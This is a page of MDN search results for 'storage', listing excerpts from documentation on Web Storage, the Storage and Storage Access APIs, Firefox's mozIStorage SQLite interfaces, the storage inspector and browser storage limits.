Search completed in 0.98 seconds.
500 results for "storage":
Your results are loading. Please wait...
Local Storage / Session Storage - Firefox Developer Tools
when an origin corresponding to local storage or session storage is selected within the storage inspector, the names and values of all the items corresponding to local storage or session storage will be listed in a table. you can edit local and session storage items by double-clicking inside cells in the table widget and editing the values they contain: you can delete local storage and session storage entries using the context menu: you can also delete local and session storage entries by selecting an item and pressing the delete or backspace key. finally, you can add new storage items by clicking the "plus" (+) button and then editing the resulting new row to the value you want. ...
NavigatorStorage.storage - Web APIs
the navigatorstorage.storage read-only property returns the singleton storagemanager object used to access the overall storage capabilities of the browser for the current site or app. the returned object lets you examine and configure persistence of data stores and learn approximately how much more space your browser has available for local storage use. syntax var storagemanager = navigator.storage; value a storagemanager object you can use to maintain persistence for stored data, as well as to determine roughly how much room there is for data to be stored. specifications specification status comment storagethe definition of 'navigator.storage' in that specification. living standard initial definition. ...
Storage
storage is a sqlite database api. it is available to trusted callers, meaning extensions and firefox components only. the api is currently "unfrozen", which means it is subject to change at any time; in fact, it has changed somewhat with each release of firefox since it was introduced, and will likely continue to do so for a while. note: storage is not the same as the dom:storage feature which can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions). getting started this document covers the storage api and some peculiarities of sqlite. it does not cover sql or "regular" sqlite. you can find some very useful links in the see also section however. ...
...hile. note: storage is not the same as the dom:storage feature which can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions). getting started this document covers the storage api and some peculiarities of sqlite. it does not cover sql or "regular" sqlite. you can find some very useful links in the see also section however. for storage api help, you can post to mozilla.dev.apps.platform on the news server news.mozilla.org. to report bugs, use bugzilla. the overall procedure for use is: get the storage service - mozistorageservice. open a connection to the database of your choice - mozistorageconnection. create statements to execute on the connection - mozistoragestatement. bind parameters to a statement as necessary. ex...
... necessary. execute the statement. check for errors. reset the statement. ...
...And 35 more matches
Using the Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can securely store key/value pairs. this article provides a walkthrough of how to make use of this technology. basic concepts storage objects are simple key-value stores, similar to objects, but they stay intact through page loads. the keys and the values are always strings (note that, as with objects, integer keys will be automatically converted to strings). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. ...
...age objects are simple key-value stores, similar to objects, but they stay intact through page loads. the keys and the values are always strings (note that, as with objects, integer keys will be automatically converted to strings). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. ...
..., similar to objects, but they stay intact through page loads. the keys and the values are always strings (note that, as with objects, integer keys will be automatically converted to strings). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. ...
...And 34 more matches
Client-side storage - Learn web development
previous overview: client-side web apis modern web browsers support a number of ways for web sites to store data on the user's computer — with the user's permission — then retrieve it when necessary. this lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more. this article explains the very basics of how these work. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data. client-side storage? elsewhere in the mdn learning area we talked about the difference between static sites and dynamic sites. most major modern web sites a...
...s, javascript objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data. client-side storage? elsewhere in the mdn learning area we talked about the difference between static sites and dynamic sites. most major modern web sites are dynamic — they store data on the server using some kind of database (server-side storage), then run server-side code to retrieve needed data, insert it into static page templates, and serve the resulting html to the client to be displayed by the user's browser. client-side storage works on similar principles, but has different uses. it consists of javascript apis that allow you to store data on the client (i.e. on the user's machine) and then retrieve it when needed. this has many d...
...sting previous site activity (e.g. storing the contents of a shopping cart from a previous session, remembering if a user was previously logged in). saving data and assets locally so a site will be quicker (and potentially less expensive) to download, or be usable without a network connection. saving web application generated documents locally for use offline often client-side and server-side storage are used together. for example, you could download a batch of music files (perhaps used by a web game or music player application), store them inside a client-side database, and play them as needed. the user would only have to download the music files once — on subsequent visits they would be retrieved from the database instead. note: there are limits to the amount of data you can store using...
...And 31 more matches
mozIStorageConnection
storage/public/mozistorageconnection.idlscriptable this interface represents a database connection attached to a specific file or an in-memory database. it is the primary interface for interacting with a database, including creating prepared statements, executing sql, and examining database errors. 1.0 68 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage. ...
... interacting with a database, including creating prepared statements, executing sql, and examining database errors. 1.0 68 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage. ...
...ced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage. ...
...And 30 more matches
Storage access policy: Block cookies from trackers
this policy is designed as an alternative to the older cookie policies, which have been available in firefox for many years. this policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. this article explains how the policy works and how you can test it. testing in firefox this cookie policy has been available in firefox since version 63. this documentation describes the policy that we intend to ship to firefox release users, but may not match what is implemented in the current release version of firefox. ...
...removing the leading component. consider the following examples: hostname on the list hostname of resource matched example.com example.com yes example.com a.b.example.com yes blah.example.com example.com no a.b.example.com c.d.example.com no blah.example.com foo.blah.example.com yes what does the storage access policy block? the storage access policy blocks resources identified as trackers from accessing their cookies and other site storage when they are loaded in a third-party context. this prevents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties. specifically, firefox does this by im...
...g tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties. specifically, firefox does this by imposing the following restrictions: cookies: block cookie request headers and ignore set-cookie response headers. return an empty string for calls to document.cookie and ignore requests to set cookies via document.cookie. dom storage: localstorage: window.localstorage: read and write attempts throw a securityerror exception. prior to firefox 70: window.localstorage is null. thus, attempts to read and write using this object will throw a typeerror exception. sessionstorage: read and write attempts are permitted. indexeddb: attempting to access the indexeddb factory object throws a securityerror exception. messaging and...
...And 25 more matches
mozIStorageStatement
storage/public/mozistoragestatement.idlscriptable this interface lets you create and execute sql statements on a mozistorageconnection. inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage overview document. ...
... storage/public/mozistoragestatement.idlscriptable this interface lets you create and execute sql statements on a mozistorageconnection. inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage overview document. ...
...storageconnection. inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage overview document. ...
...And 20 more matches
Storage Access API - Web APIs
the storage access api provides a way for embedded, cross-origin content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to this as an origin’s first-party storage). the api provides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent. concepts and usage most browsers implement a number of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources. ...
...heck whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent. concepts and usage most browsers implement a number of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources. these restrictions range from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context. ...
...ources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context. the semantics around third-party cookie blocking policies in particular differ from browser to browser, but the core functionality is similar: cross-origin resources embedded in a third-party context are not given access to the same cookies and site storage that they would have access to when loaded in a first-party context. these cookie blocking policies are known to break embedded cross-origin content that requires access to its first-party storage. ...
...And 18 more matches
Storage API - Web APIs
the storage standard defines a common, shared storage system to be used by all apis and technologies that store content-accessible data for individual web sites. the storage api gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things. note: this feature is available in web workers. ...
...l apis and technologies that store content-accessible data for individual web sites. the storage api gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things. note: this feature is available in web workers. ...
...dividual web sites. the storage api gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things. note: this feature is available in web workers. ...
...And 16 more matches
simple-storage - Archive of obsolete content
lets an add-on store data so that it's retained across firefox restarts. this module works similarly to dom storage on the web, except that it's only available for add-ons. usage the simple storage module exports an object called storage that is persistent and scoped to your add-on. it's a normal javascript object, and you can treat it as you would any other. to store a value, just assign it to a property on storage: var ss = require("sdk/simple-storage"); ss.storage.myarray = [1, 1, 2, 3, 5, 8, 13]; ss.storage.myboolean = true; ss.storage.mynull = null; ss.storage.mynumber = 3.1337; ss.storage.myobject = { a: "foo", b: { c: true }, d: null }; ss.storage.mystring = "o frabjous day!"; you can store array, boolean, number, object, null, and string values. if you'd like to store other types ...
...an = true; ss.storage.mynull = null; ss.storage.mynumber = 3.1337; ss.storage.myobject = { a: "foo", b: { c: true }, d: null }; ss.storage.mystring = "o frabjous day!"; you can store array, boolean, number, object, null, and string values. if you'd like to store other types of values, you'll first have to convert them to strings or another one of these types. be careful to set properties on the storage object and not the module itself, as demonstrated below: // this is not good! var ss = require("sdk/simple-storage"); ss.foo = "i will not be saved! ...
...ou can store array, boolean, number, object, null, and string values. if you'd like to store other types of values, you'll first have to convert them to strings or another one of these types. be careful to set properties on the storage object and not the module itself, as demonstrated below: // this is not good! var ss = require("sdk/simple-storage"); ss.foo = "i will not be saved! :("; simple storage and "jpm run" the simple storage module stores its data in your profile. because jpm run by default uses a fresh profile each time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next. the easiest solution to this problem is to use the --profile option to jpm with a path to a profile - not just a profile name. yo...
...And 14 more matches
Document.requestStorageAccess() - Web APIs
if the sub frame's parent frame is not the top frame, reject. if the browser is not processing a user gesture, reject. ...
... if the sub frame's parent frame is not the top frame, reject. if the browser is not processing a user gesture, reject. ...
... if the sub frame's parent frame is not the top frame, reject. if the browser is not processing a user gesture, reject. ...
...And 13 more matches
Browser storage limits and eviction criteria - Web APIs
there are a number of web technologies that store data of one kind or another on the client-side (i.e., on your local disk). the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers. this article describes how browsers determine what local content to purge and when in order to free up needed local storage space. note: the information below should be fairly accurate for most modern browsers, but browser specifics are called out where known. ...
...hat local content to purge and when in order to free up needed local storage space. note: the information below should be fairly accurate for most modern browsers, but browser specifics are called out where known. opera and chrome should behave the same in all cases. opera mini (still presto-based, server-side rendering) doesn't store any data on the client. what technologies use browser data storage? in firefox, the following technologies make use of browser data storage to store data when required. we term them "quota clients" in this context: indexeddb asm.js caching cache api cookies note: in firefox, web storage will soon start to use the same storage management tools too, as described in this document. note: in private browsing mode, most data storage is not supported. loca...
... the "last access time" of origins is updated when any of these are activated/deactivated — origin eviction will delete data for all these quota clients. ...
...And 13 more matches
mozIStorageService
storage/public/mozistorageservice.idlscriptable this interface lets you open a mozistorageconnection to a database file, as well as create backups of an unopened database file. this is the only way to open a database connection. ...
... storage/public/mozistorageservice.idlscriptable this interface lets you open a mozistorageconnection to a database file, as well as create backups of an unopened database file. this is the only way to open a database connection. ...
...n unopened database file. this is the only way to open a database connection. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) see mozistorageconnection method overview nsifile backupdatabasefile(in nsifile adbfile, in astring abackupfilename, [optional] in nsifile abackupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); methods backupdatabasefile() this method makes a backup of the specified file. the database should not be open, or you should ensure that no database activity is happening...
...And 12 more matches
mozIStorageFunction
this is an interface that must be implemented by consumers. it allows consumers to add functions that are available to sql queries and triggers. there are a number of already defined functions provided by sqlite. objects implementing this interface can be registered with mozistorageconnection.createfunction(). storage/public/mozistoragefunction.idlscriptable please add a summary to this article. ...
...ers. there are a number of already defined functions provided by sqlite. objects implementing this interface can be registered with mozistorageconnection.createfunction(). storage/public/mozistoragefunction.idlscriptable please add a summary to this article. last changed in gecko 1.9.1.4 (firefox 3.5.4) inherits from: nsisupports method overview nsivariant onfunctioncall(in mozistoragevaluearray afunctionarguments); methods onfunctioncall() the implementation of the function. this is called by the database engine when the function registered with mozistorageconnection.createfunction() is used in an executing sql statement or trigger. ...
...functioncall(in mozistoragevaluearray afunctionarguments); methods onfunctioncall() the implementation of the function. this is called by the database engine when the function registered with mozistorageconnection.createfunction() is used in an executing sql statement or trigger. note this callback is executed on the thread that the statement or trigger is executing on. if you use mozistorageconnection.executeasync() or, mozistoragestatement.executeasync() this callback will run on a different thread from the rest of your code. likewise, if you execute sql on a different thread, this callback will be executed on that thread. ...
...And 11 more matches
Storage Inspector - Firefox Developer Tools
the storage inspector enables you to inspect various types of storage that a web page can use. currently it can be used to inspect the following storage types: cache storage — any dom caches created using the cache api. cookies — all the cookies created by the page or any iframes inside of the page. cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open. indexeddb — all indexeddb databases created by the page or any iframes inside the page, their object stores and the items stored in these object stores. local storage — all local storage items created by the page or any iframes inside the page. session storage — all session storage items created by the page or any iframes inside the page. for the time bei...
...while the tool is open. indexeddb — all indexeddb databases created by the page or any iframes inside the page, their object stores and the items stored in these object stores. local storage — all local storage items created by the page or any iframes inside the page. session storage — all session storage items created by the page or any iframes inside the page. for the time being, the storage inspector only gives you a read-only view of storage. but we're working to let you edit storage contents in future releases. opening the storage inspector you can open the storage inspector by selecting "storage inspector" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its shift + f9 keyboard shortcut. the to...
... working to let you edit storage contents in future releases. opening the storage inspector you can open the storage inspector by selecting "storage inspector" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its shift + f9 keyboard shortcut. the toolbox will appear at the bottom of the browser window, with the storage inspector activated. it's just called "storage" in the developer toolbox. storage inspector user interface the storage inspector ui is split into three main components: storage tree table widget sidebar storage tree the storage tree lists all the storage types that the storage inspector can inspect: under each type, objects are organized by origin. for cookies, the protocol does ...
...And 11 more matches
Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can store key/value pairs, in a much more intuitive fashion than using cookies. web storage concepts and usage the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores) stores data only for a session, meaning that the data is stored until the browser (or tab) is closed. data is never transferred to the server. storage limit is larger than a cookie (at most 5mb). localstorage does the same thing, but persists even when the browser is closed and reopened. stores data with no expiration date, and gets cleared only through ja...
...at the data is stored until the browser (or tab) is closed. data is never transferred to the server. storage limit is larger than a cookie (at most 5mb). localstorage does the same thing, but persists even when the browser is closed and reopened. stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data. storage limit is the maximum amongst the three. ...
...torage limit is larger than a cookie (at most 5mb). localstorage does the same thing, but persists even when the browser is closed and reopened. stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data. storage limit is the maximum amongst the three. ...
...And 11 more matches
Simple Storage - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! ...
... note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! ...
...nts the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! ...
...And 10 more matches
CacheStorage - Web APIs
the cachestorage interface represents the storage for cache objects. the interface: provides a master directory of all the named caches that can be accessed by a serviceworker or other type of worker or window scope (you’re not limited to only using it with service workers, even though the service workers spec defines it). note: chrome and safari only expose `cachestorage` to the windowed context over https. window.caches will be undefined unless an ssl certificate is configured. maintains a mapping of string names to corresponding cache objects. use cachestorage.open() to obtain a cache instance. use cachestorage.match() to check if a given request is a key in any of the cache objects that the cachestorage object tracks. ...
...those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get around this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu. ...
...dow.caches will be undefined unless an ssl certificate is configured. maintains a mapping of string names to corresponding cache objects. use cachestorage.open() to obtain a cache instance. use cachestorage.match() to check if a given request is a key in any of the cache objects that the cachestorage object tracks. you can access cachestorage through the global caches property. note: cachestorage always rejects with a securityerror on untrusted origins (i.e. those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get around this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu. note: cachestorage.match() is a convenience method. equivalent functi...
...And 10 more matches
Storage - Web APIs
Web › API › Storage
the storage interface of the web storage api provides access to a particular domain's session or local storage. it allows, for example, the addition, modification, or deletion of stored data items. to manipulate, for instance, the session storage for a domain, a call to window.sessionstorage is made; whereas for local storage the call is made to window.localstorage. properties storage.length read only returns an integer representing the number of data items stored in the storage object. methods storage.key() when passed a number n, this method will return the name of the nth key in the storage. storage.getitem() when passed a key name, will return that key's value. ...
... is made; whereas for local storage the call is made to window.localstorage. properties storage.length read only returns an integer representing the number of data items stored in the storage object. methods storage.key() when passed a number n, this method will return the name of the nth key in the storage. storage.getitem() when passed a key name, will return that key's value. storage.setitem() when passed a key name and value, will add that key to the storage, or update that key's value if it already exists. storage.removeitem() when passed a key name, will remove that key from the storage. storage.clear() when invoked, will empty all keys out of the storage. examples here we access a storage object by calling localstorage. ...
...ue. storage.setitem() when passed a key name and value, will add that key to the storage, or update that key's value if it already exists. storage.removeitem() when passed a key name, will remove that key from the storage. storage.clear() when invoked, will empty all keys out of the storage. examples here we access a storage object by calling localstorage. we first test whether the local storage contains data items using !localstorage.getitem('bgcolor'). if it does, we run a function called setstyles() that grabs the data items using storage.getitem() and uses those values to update page styles. if it doesn't, we run another function, populatestorage(), which uses storage.setitem() to set the item values, then runs setstyles(). ...
...And 10 more matches
Using the Storage Access API - Web APIs
this is particularly true for document.cookie access, as browsers will often return an empty cookie jar when third-party cookies are blocked. ...
...this is particularly true for document.cookie access, as browsers will often return an empty cookie jar when third-party cookies are blocked. ...
...this is particularly true for document.cookie access, as browsers will often return an empty cookie jar when third-party cookies are blocked. ...
...And 9 more matches
Simple Storage - Archive of obsolete content
the jetpack.storage.simple namespace provides an easy way to persist data across browser restarts. it's a simple key-based persistent object data store. simple storage is really simple. jetpack.storage.simple is a single, persistent javascript object private to each jetpack. for the most part this object is like any other javascript object, and a jetpack can set whatever properties it wants on it. to manipulate its persistent data, a jetpack therefore need only use the various standard javascript functions and operators. the jetpack.simple.storage object is automatically and periodically flushed to disk. how and when it is flushed is an implementation detail. jetpacks can flush it manually, however, by calling jetpack.storage.simple.sync(). the object can also be forced to reload its data...
...don't abuse these methods, since they cause firefox -- all of firefox -- to drop what it's doing to make a trip to the disk. if you call them too often, firefox may become unresponsive for some of your users. ...
...cally. don't abuse these methods, since they cause firefox -- all of firefox -- to drop what it's doing to make a trip to the disk. if you call them too often, firefox may become unresponsive for some of your users. unless you are doing something strange, let jetpack flush your data for you. ...
...And 8 more matches
mozIStorageAggregateFunction
this is an interface that must be implemented by consumers. it allows consumers to add aggregate functions that are available to sql queries and triggers. an aggregate function is a function that returns one value from a series of values. there are a number of already defined aggregate functions provided by sqlite. ...
...implemented by consumers. it allows consumers to add aggregate functions that are available to sql queries and triggers. an aggregate function is a function that returns one value from a series of values. there are a number of already defined aggregate functions provided by sqlite. objects implementing this interface can be registered with mozistorageconnection.createaggregatefunction(). storage/public/mozistorageaggregatefunction.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onstep(in mozistoragevaluearray afunctionarguments); nsivariant onfinal(); methods onstep() this is called for each row of results returned by the query. the implementation should store o...
...ts method overview void onstep(in mozistoragevaluearray afunctionarguments); nsivariant onfinal(); methods onstep() this is called for each row of results returned by the query. the implementation should store or perform some work to prepare to return a value. note this callback is executed on the thread that the statement or trigger is executing on. if you use mozistorageconnection.executeasync() or, mozistoragestatement.executeasync() this callback will run on a different thread from the rest of your code. likewise, if you execute sql on a different thread, this callback will be executed on that thread. ...
...And 8 more matches
mozIStorageValueArray
the mozistoragevaluearray interface obtains provides methods to obtain data from a given result. for an introduction on how to use this interface, see the storage overview document. storage/public/mozistoragevaluearray.idlscriptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview long gettypeofindex(in unsigned long aindex); long getint32(in unsigned long aindex); long long getint64(in unsigned long aindex); double getdouble(in unsigned long aindex); autf8string getutf8string(in unsigned long aindex); astring getstring(in unsigned long aindex); void getblob(in unsigned long aindex, out unsigned long adatasiz...
... float data type. value_type_text 3 text data type. value_type_blob 4 blob data type. methods gettypeofindex() returns the type of the value at the given column index. long gettypeofindex( in unsigned long aindex ); parameters aindex the zero-based numerical index for the column to get the data from. return value one of the constants mozistoragevaluearray.value_type_null, mozistoragevaluearray.value_type_integer, mozistoragevaluearray.value_type_float, mozistoragevaluearray.value_type_text, or mozistoragevaluearray.value_type_blob describing the type aindex is. getint32() obtains a int32 from the specified index. long getint32( in unsigned long aindex ); parameters aindex the zero-based numerical index for the column to get...
...rom. adatasize the size of the returned array. return value the blob for the specified entry. getisnull() checks if given column index is null. boolean getisnull( in unsigned long aindex ); parameters aindex the zero-based numerical index for the column to get the data from. return value returns true if the column specified by aindex is null, or false otherwise. ...
...And 7 more matches
StorageEvent - Web APIs
a storageevent is sent to a window when a storage area it has access to is changed within the context of another document. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" ...
...75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/storageevent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initsto...
...as,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed. the key attribute is null when the change is caused by the storage clear() method. read only. newvalue domstring the new value of the key. ...
...And 7 more matches
Creating a Login Manager storage module
the login manager manages and stores user passwords. extensions can replace the built-in password storage with their own implementation. this can be useful if you want to integrate a gecko application's password management with an existing password management system, or use your own password storage format or database. so for example, on kde is is desirable to fully employ the kde wallet manager, rather than any secondary replacements of kdewallet. if you just want to use the login manager in your extensions, refer to the article using nsiloginmanager. overriding the built-in login manager storage consists of two tasks: implement the nsiloginmanagerstorage interface. register that interface in a specific category. some work has already been done to integrate the login manager wit...
...login manager with the mac os x keychain (bug 106400) and gnome keyring manager (bug 309807). you should start with the existing code if you want to implement that in your extension. to see some debugging output in the console set signon.debug to true using about:config. ...
...mple javascript implementation the following code snippet is a javascript component that implements a dummy nsiloginmanagerstorage interface. see how_to_build_an_xpcom_component_in_javascript for more details about javascript components. ...
...And 5 more matches
mozIStorageProgressHandler
the mozistorageprogresshandler interface lets storage consumers receive callbacks during the execution of sqlite requests. storage/public/mozistorageprogresshandler.idlscriptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview boolean onprogress(in mozistorageconnection aconnection); methods onprogress() the onprogress() method is called periodically while an sqlite operation is ongoing. this allows you to monitor the progress and possibly display status information to the user. ...
... gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview boolean onprogress(in mozistorageconnection aconnection); methods onprogress() the onprogress() method is called periodically while an sqlite operation is ongoing. this allows you to monitor the progress and possibly display status information to the user. boolean onprogress( in mozistorageconnection aconnection ); parameters <tt>aconnection</tt> a mozistorageconnection connection indicating the connection for which the callback was invoked. return value return true to abort the request or false to allow it to continue. ...
...tion is ongoing. this allows you to monitor the progress and possibly display status information to the user. boolean onprogress( in mozistorageconnection aconnection ); parameters <tt>aconnection</tt> a mozistorageconnection connection indicating the connection for which the callback was invoked. return value return true to abort the request or false to allow it to continue. see also storage mozstorage introduction and how-to article mozistorageconnection database connection to a specific file or in-memory data storage mozistoragestatement create and execute sql statements on a sqlite database. ...
...And 5 more matches
nsIDOMStorageItem
attributes attribute type description secure boolean if true, the item was stored for an https page. note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages. ...
... attributes attribute type description secure boolean if true, the item was stored for an https page. note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages. ...
...torageitem.idlscriptable this interface represents an object in dom storage. this is for session storage. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; previously, it was also used for global storage. attributes attribute type description secure boolean if true, the item was stored for an https page. note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages. ...
...And 5 more matches
StorageQuota - Web APIs
there is no guarantee that the requested space will be granted by the user agent. ...
...there is no guarantee that the requested space will be granted by the user agent. ...
...there is no guarantee that the requested space will be granted by the user agent. ...
...And 5 more matches
mozIStorageStatementWrapper
the mozistoragestatementwrapper interface is a storage statement wrapper. when you call the mozistorageconnection interface's createstatement() method, you get a mozistoragestatement which has just direct bindings to sqlite. you can then wrap that statement with a wrapper, which implements nsixpcscriptable and provides scriptable helpers letting you execute the statement as a function, access bind variables by name as properties, etc. firefox 3.5 note firefox 3.5 adds support for these features directly into the mozistoragestatement interface, so this interface is essentially deprecated. storage/public/mozistoragestatementwrapper.idlscriptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: ...
...te firefox 3.5 adds support for these features directly into the mozistoragestatement interface, so this interface is essentially deprecated. storage/public/mozistoragestatementwrapper.idlscriptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void initialize(in mozistoragestatement astatement); void reset(); boolean step(); void execute(); attributes attribute type description statement mozistoragestatement the statement that is wrapped. row mozistoragestatementrow the current row. throws an exception if no row is currently available. useful only from script. the value of this is only val...
...ttributes attribute type description statement mozistoragestatement the statement that is wrapped. row mozistoragestatementrow the current row. throws an exception if no row is currently available. useful only from script. the value of this is only valid while the statement is still executing, and is still on the appropriate row. params mozistoragestatementparams the parameters; these can be set in lieu of using the call notation on this. methods initialize() this method initializes this wrapper with astatement. void initialize( in mozistoragestatement astatement ); parameters astatement the statement to be initialized. reset() this method resets the wrapped statement. void reset(); parameters none. step() this me...
...And 4 more matches
Local Storage - Archive of obsolete content
we recommend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug. we'll discuss logging in this section, but first let's look at the right (or at least, common and scalable) way of managing local files. it is strongly recommended that you keep your local files inside the firefox profile directory. otherwise you may run into problems if the same extension is installed in multiple profiles. ...
...g freely in order to have as much information as possible to fix bugs and know what is going on. don't log inside functions that are called too often, such as mouseover event handlers, or certain http activity listeners. this impacts performance and fills the log with useless messages. we normally add a comment that indicates that logging is not done there for performance reasons. sqlite sqlite storage was introduced in firefox 2, and it's the preferred storage mechanism in firefox. it is the storage system used for the places api that manages bookmarks and history. it's also used for storing cookies, form inputs, and others. sqlite is a lightweight sql based storage system. it is ideal for embedding in other programs, and is currently in use in several popular applications. it's also the stor...
...if you're unfamiliar with sql or if you're interested in knowing the restrictions in the syntax used by sqlite, you can read more at the sqlite site. ...
...And 3 more matches
mozIStorageRow
nsivariant getresultbyindex( in unsigned long aindex ); parameters aindex the zero-based index of the column number whose value is to be returned. ...
...nsivariant getresultbyindex( in unsigned long aindex ); parameters aindex the zero-based index of the column number whose value is to be returned. ...
...alue an nsivariant object containing the value of the specified column. ...
...And 3 more matches
nsIDOMStorage
dom/interfaces/storage/nsidomstorage.idlscriptable this interface represents the storage space used for session storage in the dom. items stored in session storage may be accessed by any interested party in the same browsing context. 1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) a dom window's session storage object can be retrieved from the window's sessionstorage attribute. a storage object stores an arbitrary set of key-value pairs, which may be retrieved, modified and removed as needed. a key may only exist once within a storage object, and only one value may be associated with a particular key. keys are stored in a particular order with the condition that this order not...
